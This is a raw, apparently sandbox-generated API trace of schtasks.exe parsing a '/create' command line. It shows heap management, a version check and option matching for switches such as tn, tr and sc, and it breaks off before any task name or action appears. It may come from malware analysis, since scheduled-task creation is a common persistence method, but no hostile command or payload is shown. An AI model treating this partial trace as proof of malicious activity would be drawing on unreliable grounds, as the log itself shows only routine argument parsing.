1 [0076.414] GetProcessHeap () returned 0x390000 [0076.414] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac3f0) returned 0xe [0076.414] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac3f0 | out: hHeap=0x390000) returned 1 [0076.414] GetProcessHeap () returned 0x390000 [0076.414] GetProcessHeap () returned 0x390000 [0076.414] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acde0) returned 1 [0076.414] GetProcessHeap () returned 0x390000 [0076.415] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acde0) returned 0x20 [0076.415] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acde0 | out: hHeap=0x390000) returned 1 [0076.415] GetProcessHeap () returned 0x390000 [0076.415] GetProcessHeap () returned 0x390000 [0076.415] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac410) returned 1 [0076.415] GetProcessHeap () returned 0x390000 [0076.415] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac410) returned 0x8 [0076.415] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac410 | out: hHeap=0x390000) returned 1 [0076.415] GetProcessHeap () returned 0x390000 [0076.415] GetProcessHeap () returned 0x390000 [0076.415] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace10) returned 1 [0076.415] GetProcessHeap () returned 0x390000 [0076.415] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ace10) returned 0x20 [0076.416] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace10 | out: hHeap=0x390000) returned 1 [0076.416] GetProcessHeap () returned 0x390000 [0076.416] GetProcessHeap () returned 0x390000 [0076.416] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac430) returned 1 [0076.416] GetProcessHeap () returned 0x390000 [0076.416] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac430) returned 0x6 [0076.416] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac430 | out: hHeap=0x390000) returned 1 [0076.416] GetProcessHeap () returned 0x390000 [0076.416] GetProcessHeap () returned 0x390000 [0076.416] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace40) returned 1 [0076.416] GetProcessHeap () returned 0x390000 [0076.416] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ace40) returned 0x20 [0076.417] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace40 | out: hHeap=0x390000) returned 1 [0076.417] GetProcessHeap () returned 0x390000 [0076.417] GetProcessHeap () returned 0x390000 [0076.417] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac450) returned 1 [0076.417] GetProcessHeap () returned 0x390000 [0076.417] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac450) returned 0x8 [0076.417] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac450 | out: hHeap=0x390000) returned 1 [0076.417] GetProcessHeap () returned 0x390000 [0076.417] GetProcessHeap () returned 0x390000 [0076.417] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace70) returned 1 [0076.417] GetProcessHeap () returned 0x390000 [0076.417] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ace70) returned 0x20 [0076.418] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace70 | out: hHeap=0x390000) returned 1 [0076.419] GetProcessHeap () returned 0x390000 [0076.419] GetProcessHeap () returned 0x390000 [0076.419] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ade90) returned 1 [0076.419] GetProcessHeap () returned 0x390000 [0076.419] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ade90) returned 0x74 [0076.420] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ade90 | out: hHeap=0x390000) returned 1 [0076.420] GetProcessHeap () returned 0x390000 [0076.420] GetProcessHeap () returned 0x390000 [0076.420] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acea0) returned 1 [0076.420] GetProcessHeap () returned 0x390000 [0076.420] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acea0) returned 0x20 [0076.421] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acea0 | out: hHeap=0x390000) returned 1 [0076.421] GetProcessHeap () returned 0x390000 [0076.421] GetProcessHeap () returned 0x390000 [0076.421] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3adf10) returned 1 [0076.421] GetProcessHeap () returned 0x390000 [0076.421] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3adf10) returned 0x6 [0076.421] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3adf10 | out: hHeap=0x390000) returned 1 [0076.421] GetProcessHeap () returned 0x390000 [0076.421] GetProcessHeap () returned 0x390000 [0076.421] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3aced0) returned 1 [0076.421] GetProcessHeap () returned 0x390000 [0076.421] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3aced0) returned 0x20 [0076.422] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3aced0 | out: hHeap=0x390000) returned 1 [0076.422] GetProcessHeap () returned 0x390000 [0076.422] GetProcessHeap () returned 0x390000 [0076.422] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a7fa0) returned 1 [0076.422] GetProcessHeap () returned 0x390000 [0076.422] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a7fa0) returned 0x18 [0076.422] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a7fa0 | out: hHeap=0x390000) returned 1 [0076.422] SetLastError (dwErrCode=0x0) [0076.422] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0076.422] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0076.422] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0076.422] VerifyVersionInfoW (in: lpVersionInformation=0x21c630, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x21c630) returned 1 [0076.422] SetLastError (dwErrCode=0x0) [0076.422] lstrlenW (lpString="create") returned 6 [0076.422] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0076.423] SetLastError (dwErrCode=0x490) [0076.423] SetLastError (dwErrCode=0x0) [0076.423] lstrlenW (lpString="create") returned 6 [0076.423] GetProcessHeap () returned 0x390000 [0076.423] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3aced0 [0076.423] GetProcessHeap () returned 0x390000 [0076.423] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3ad660 [0076.423] _memicmp (_Buf1=0x3ad660, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.423] GetProcessHeap () returned 0x390000 [0076.423] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x16) returned 0x3ad680 [0076.423] SetLastError (dwErrCode=0x0) [0076.423] _memicmp (_Buf1=0x3abbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.423] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3abd50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0076.423] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0076.423] GetProcessHeap () returned 0x390000 [0076.424] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x74e) returned 0x3ade90 [0076.424] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x3ade90 | out: lpData=0x3ade90) returned 1 [0076.424] VerQueryValueW (in: pBlock=0x3ade90, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x21c718, puLen=0x21c780 | out: lplpBuffer=0x21c718*=0x3ae22c, puLen=0x21c780) returned 1 [0076.424] _memicmp (_Buf1=0x3abbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.424] _vsnwprintf (in: _Buffer=0x3abd50, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x21c6f8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0076.424] VerQueryValueW (in: pBlock=0x3ade90, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x21c788, puLen=0x21c778 | out: lplpBuffer=0x21c788*=0x3ae058, puLen=0x21c778) returned 1 [0076.424] lstrlenW (lpString="schtasks.exe") returned 12 [0076.424] lstrlenW (lpString="schtasks.exe") returned 12 [0076.424] lstrlenW (lpString=".EXE") returned 4 [0076.424] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0076.424] lstrlenW (lpString="schtasks.exe") returned 12 [0076.424] lstrlenW (lpString=".EXE") returned 4 [0076.424] lstrlenW (lpString="schtasks") returned 8 [0076.424] lstrlenW (lpString="/create") returned 7 [0076.424] _memicmp (_Buf1=0x3abbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.425] _vsnwprintf (in: _Buffer=0x3abd50, _BufferCount=0x19, _Format="%s %s", _ArgList=0x21c6f8 | out: _Buffer="schtasks /create") returned 16 [0076.425] _memicmp (_Buf1=0x3abbd0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.425] GetProcessHeap () returned 0x390000 [0076.425] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acea0 [0076.425] _memicmp (_Buf1=0x3abbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.425] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x3ad400, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0076.425] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0076.425] GetProcessHeap () returned 0x390000 [0076.425] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x30) returned 0x3a7c00 [0076.425] _vsnwprintf (in: _Buffer=0x3ac150, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x21c6f8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0076.425] GetProcessHeap () returned 0x390000 [0076.425] GetProcessHeap () returned 0x390000 [0076.425] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ade90) returned 1 [0076.425] GetProcessHeap () returned 0x390000 [0076.425] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ade90) returned 0x74e [0076.426] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ade90 | out: hHeap=0x390000) returned 1 [0076.426] SetLastError (dwErrCode=0x0) [0076.426] GetThreadLocale () returned 0x409 [0076.426] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.426] lstrlenW (lpString="create") returned 6 [0076.426] GetThreadLocale () returned 0x409 [0076.426] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.426] lstrlenW (lpString="?") returned 1 [0076.426] GetThreadLocale () returned 0x409 [0076.426] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.426] lstrlenW (lpString="s") returned 1 [0076.426] GetThreadLocale () returned 0x409 [0076.426] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.426] lstrlenW (lpString="u") returned 1 [0076.426] GetThreadLocale () returned 0x409 [0076.426] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.426] lstrlenW (lpString="p") returned 1 [0076.426] GetThreadLocale () returned 0x409 [0076.426] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.426] lstrlenW (lpString="ru") returned 2 [0076.426] GetThreadLocale () returned 0x409 [0076.426] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.426] lstrlenW (lpString="rp") returned 2 [0076.426] GetThreadLocale () returned 0x409 [0076.427] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.427] lstrlenW (lpString="sc") returned 2 [0076.427] GetThreadLocale () returned 0x409 [0076.427] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.427] lstrlenW (lpString="mo") returned 2 [0076.427] GetThreadLocale () returned 0x409 [0076.427] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.427] lstrlenW (lpString="d") returned 1 [0076.427] GetThreadLocale () returned 0x409 [0076.427] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.427] lstrlenW (lpString="m") returned 1 [0076.427] GetThreadLocale () returned 0x409 [0076.427] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.427] lstrlenW (lpString="i") returned 1 [0076.427] GetThreadLocale () returned 0x409 [0076.427] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.427] lstrlenW (lpString="tn") returned 2 [0076.427] GetThreadLocale () returned 0x409 [0076.427] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.427] lstrlenW (lpString="tr") returned 2 [0076.427] GetThreadLocale () returned 0x409 [0076.427] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.427] lstrlenW (lpString="st") returned 2 [0076.427] GetThreadLocale () returned 0x409 [0076.427] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.427] lstrlenW (lpString="sd") returned 2 [0076.427] GetThreadLocale () returned 0x409 [0076.427] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.428] lstrlenW (lpString="ed") returned 2 [0076.428] GetThreadLocale () returned 0x409 [0076.428] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.428] lstrlenW (lpString="it") returned 2 [0076.428] GetThreadLocale () returned 0x409 [0076.428] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.428] lstrlenW (lpString="et") returned 2 [0076.428] GetThreadLocale () returned 0x409 [0076.428] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.428] lstrlenW (lpString="k") returned 1 [0076.428] GetThreadLocale () returned 0x409 [0076.428] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.428] lstrlenW (lpString="du") returned 2 [0076.428] GetThreadLocale () returned 0x409 [0076.428] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.428] lstrlenW (lpString="ri") returned 2 [0076.428] GetThreadLocale () returned 0x409 [0076.428] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.428] lstrlenW (lpString="z") returned 1 [0076.428] GetThreadLocale () returned 0x409 [0076.428] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.428] lstrlenW (lpString="f") returned 1 [0076.428] GetThreadLocale () returned 0x409 [0076.428] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.428] lstrlenW (lpString="v1") returned 2 [0076.428] GetThreadLocale () returned 0x409 [0076.428] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.429] lstrlenW (lpString="xml") returned 3 [0076.429] GetThreadLocale () returned 0x409 [0076.429] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.429] lstrlenW (lpString="ec") returned 2 [0076.429] GetThreadLocale () returned 0x409 [0076.429] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.429] lstrlenW (lpString="rl") returned 2 [0076.429] GetThreadLocale () returned 0x409 [0076.429] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.429] lstrlenW (lpString="delay") returned 5 [0076.429] GetThreadLocale () returned 0x409 [0076.429] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.429] lstrlenW (lpString="np") returned 2 [0076.429] SetLastError (dwErrCode=0x0) [0076.429] SetLastError (dwErrCode=0x0) [0076.429] lstrlenW (lpString="/create") returned 7 [0076.429] lstrlenW (lpString="-/") returned 2 [0076.429] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0076.429] lstrlenW (lpString="create") returned 6 [0076.429] lstrlenW (lpString="create") returned 6 [0076.429] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.429] lstrlenW (lpString="create") returned 6 [0076.429] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.429] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|create|") returned 8 [0076.429] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|create|") returned 8 [0076.429] lstrlenW (lpString="|create|") returned 8 [0076.430] lstrlenW (lpString="|create|") returned 8 [0076.430] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0076.430] SetLastError (dwErrCode=0x0) [0076.430] SetLastError (dwErrCode=0x0) [0076.430] SetLastError (dwErrCode=0x0) [0076.430] lstrlenW (lpString="/tn") returned 3 [0076.430] lstrlenW (lpString="-/") returned 2 [0076.430] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0076.430] lstrlenW (lpString="create") returned 6 [0076.430] lstrlenW (lpString="create") returned 6 [0076.430] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.430] lstrlenW (lpString="tn") returned 2 [0076.430] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.430] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|create|") returned 8 [0076.430] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tn|") returned 4 [0076.430] lstrlenW (lpString="|create|") returned 8 [0076.430] lstrlenW (lpString="|tn|") returned 4 [0076.430] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0076.430] SetLastError (dwErrCode=0x490) [0076.430] lstrlenW (lpString="?") returned 1 [0076.430] lstrlenW (lpString="?") returned 1 [0076.430] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.430] lstrlenW (lpString="tn") returned 2 [0076.430] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.431] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|?|") returned 3 [0076.431] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tn|") returned 4 [0076.431] lstrlenW (lpString="|?|") returned 3 [0076.431] lstrlenW (lpString="|tn|") returned 4 [0076.431] SetLastError (dwErrCode=0x490) [0076.431] lstrlenW (lpString="s") returned 1 [0076.431] lstrlenW (lpString="s") returned 1 [0076.431] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.431] lstrlenW (lpString="tn") returned 2 [0076.431] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.431] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|s|") returned 3 [0076.431] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tn|") returned 4 [0076.431] lstrlenW (lpString="|s|") returned 3 [0076.431] lstrlenW (lpString="|tn|") returned 4 [0076.431] SetLastError (dwErrCode=0x490) [0076.431] lstrlenW (lpString="u") returned 1 [0076.431] lstrlenW (lpString="u") returned 1 [0076.431] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.431] lstrlenW (lpString="tn") returned 2 [0076.431] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.431] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|u|") returned 3 [0076.431] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tn|") returned 4 [0076.431] lstrlenW (lpString="|u|") returned 3 [0076.431] lstrlenW (lpString="|tn|") returned 4 [0076.431] SetLastError (dwErrCode=0x490) [0076.432] lstrlenW (lpString="p") returned 1 [0076.432] lstrlenW (lpString="p") returned 1 [0076.432] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.432] lstrlenW (lpString="tn") returned 2 [0076.432] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.432] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|p|") returned 3 [0076.432] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tn|") returned 4 [0076.432] lstrlenW (lpString="|p|") returned 3 [0076.432] lstrlenW (lpString="|tn|") returned 4 [0076.432] SetLastError (dwErrCode=0x490) [0076.432] lstrlenW (lpString="ru") returned 2 [0076.432] lstrlenW (lpString="ru") returned 2 [0076.432] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.432] lstrlenW (lpString="tn") returned 2 [0076.432] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.432] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|ru|") returned 4 [0076.432] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tn|") returned 4 [0076.432] lstrlenW (lpString="|ru|") returned 4 [0076.432] lstrlenW (lpString="|tn|") returned 4 [0076.432] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0076.432] SetLastError (dwErrCode=0x490) [0076.432] lstrlenW (lpString="rp") returned 2 [0076.432] lstrlenW (lpString="rp") returned 2 [0076.433] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.433] lstrlenW (lpString="tn") returned 2 [0076.433] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.433] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|rp|") returned 4 [0076.433] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tn|") returned 4 [0076.433] lstrlenW (lpString="|rp|") returned 4 [0076.433] lstrlenW (lpString="|tn|") returned 4 [0076.433] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0076.433] SetLastError (dwErrCode=0x490) [0076.433] lstrlenW (lpString="sc") returned 2 [0076.433] lstrlenW (lpString="sc") returned 2 [0076.433] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.433] lstrlenW (lpString="tn") returned 2 [0076.433] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.433] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|sc|") returned 4 [0076.433] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tn|") returned 4 [0076.433] lstrlenW (lpString="|sc|") returned 4 [0076.433] lstrlenW (lpString="|tn|") returned 4 [0076.433] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0076.433] SetLastError (dwErrCode=0x490) [0076.433] lstrlenW (lpString="mo") returned 2 [0076.433] lstrlenW (lpString="mo") returned 2 [0076.433] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.433] lstrlenW (lpString="tn") returned 2 [0076.434] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.434] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|mo|") returned 4 [0076.434] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tn|") returned 4 [0076.434] lstrlenW (lpString="|mo|") returned 4 [0076.434] lstrlenW (lpString="|tn|") returned 4 [0076.434] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0076.434] SetLastError (dwErrCode=0x490) [0076.434] lstrlenW (lpString="d") returned 1 [0076.434] lstrlenW (lpString="d") returned 1 [0076.434] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.434] lstrlenW (lpString="tn") returned 2 [0076.434] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.434] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|d|") returned 3 [0076.434] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tn|") returned 4 [0076.434] lstrlenW (lpString="|d|") returned 3 [0076.434] lstrlenW (lpString="|tn|") returned 4 [0076.434] SetLastError (dwErrCode=0x490) [0076.434] lstrlenW (lpString="m") returned 1 [0076.434] lstrlenW (lpString="m") returned 1 [0076.434] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.434] lstrlenW (lpString="tn") returned 2 [0076.434] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.434] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|m|") returned 3 [0076.434] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tn|") returned 4 